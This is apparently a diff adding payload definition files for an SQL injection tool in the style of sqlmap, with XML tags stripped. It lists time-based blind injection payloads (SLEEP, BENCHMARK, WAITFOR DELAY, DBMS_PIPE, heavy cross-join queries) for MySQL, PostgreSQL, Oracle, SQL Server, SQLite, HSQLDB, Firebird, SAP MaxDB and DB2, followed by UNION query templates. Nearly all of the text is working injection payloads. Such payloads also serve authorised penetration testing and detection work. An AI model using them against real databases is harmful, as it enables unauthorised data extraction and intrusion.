+ + + Firebird >= 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1 + 1 + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + -- + + + + +
+ Firebird + >= 2.0 +
+
+ + + SAP MaxDB AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+
+ + + SAP MaxDB OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+
+ + + SAP MaxDB AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + -- + + + + +
+ SAP MaxDB +
+
+ + + SAP MaxDB OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + -- + + + + +
+ SAP MaxDB +
+
+ + + HSQLDB >= 1.7.2 AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB >= 1.7.2 OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB > 2.0 AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + > 2.0 +
+
+ + + HSQLDB > 2.0 OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + > 2.0 +
+
+ + + HSQLDB > 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + > 2.0 +
+
+ + + HSQLDB > 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + > 2.0 +
+
+ + + + + + + MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE) + 5 + 3 + 2 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE) + 5 + 5 + 2 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + + + MySQL >= 5.0.12 time-based blind - Parameter replace + 5 + 2 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT) + 5 + 3 + 1 + 1,2,3 + 3 + (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + MySQL time-based blind - Parameter replace (bool) + 5 + 4 + 1 + 1,2,3 + 3 + ([INFERENCE] AND SLEEP([SLEEPTIME])) + + ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+
+ + + MySQL time-based blind - Parameter replace (ELT) + 5 + 5 + 1 + 1,2,3 + 3 + ELT([INFERENCE],SLEEP([SLEEPTIME])) + + ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+
+ + + MySQL time-based blind - Parameter replace (MAKE_SET) + 5 + 5 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + + MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+
+ + + PostgreSQL > 8.1 time-based blind - Parameter replace + 5 + 3 + 1 + 1,2,3 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + + Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) + 5 + 3 + 1 + 1,3 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE) + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + + + + +
+ Oracle +
+
+ + + SQLite > 2.0 time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) + + (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) + + + + +
+ SQLite + > 2.0 +
+
+ + + Firebird time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3 + 3 + IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+
+ + + SAP MaxDB time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,3 + 3 + (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+
+ + + IBM DB2 time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3 + 3 + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+
+ + + + HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3 + 1 + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3 + 1 + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + + + +
+ HSQLDB + > 2.0 +
+
+ + + + + MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE) + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+
+ + + Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+
+ + + HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + + + +
+ HSQLDB + > 2.0 +
+
+ + +
diff --git a/xml/payloads/06_union_query.xml b/xml/payloads/06_union_query.xml new file mode 100644 index 000000000..7de66f9e1 --- /dev/null +++ b/xml/payloads/06_union_query.xml @@ -0,0 +1,742 @@ + + + + + + Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query ([CHAR]) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + 1-10 + + + + + + + + Generic UNION query (NULL) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + 1-10 + + + + + + + + Generic UNION query ([RANDNUM]) - 1 to 10 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + 1-10 + + + + + + + + Generic UNION query ([CHAR]) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + 11-20 + + + + + + + + Generic UNION query (NULL) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + 11-20 + + + + + + + + Generic UNION query ([RANDNUM]) - 11 to 20 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + 11-20 + + + + + + + + Generic UNION query ([CHAR]) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + 21-30 + + + + + + + + Generic UNION query (NULL) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + 21-30 + + + + + + + + Generic UNION query ([RANDNUM]) - 21 to 30 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + 21-30 + + + + + + + + Generic UNION query ([CHAR]) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + 31-40 + + + + + + + + Generic UNION query (NULL) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + 31-40 + + + + + + + + Generic UNION query ([RANDNUM]) - 31 to 40 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + 31-40 + + + + + + + + Generic UNION query ([CHAR]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [CHAR] + 41-50 + + + + + + + Generic UNION query (NULL) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + NULL + 41-50 + + + + + + + + Generic UNION query ([RANDNUM]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + -- + [RANDNUM] + 41-50 + + + + + + + + MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([CHAR]) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 1-10 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 1-10 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - 1 to 10 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 1-10 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([CHAR]) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 11-20 + + + + +
+ MySQL +
+
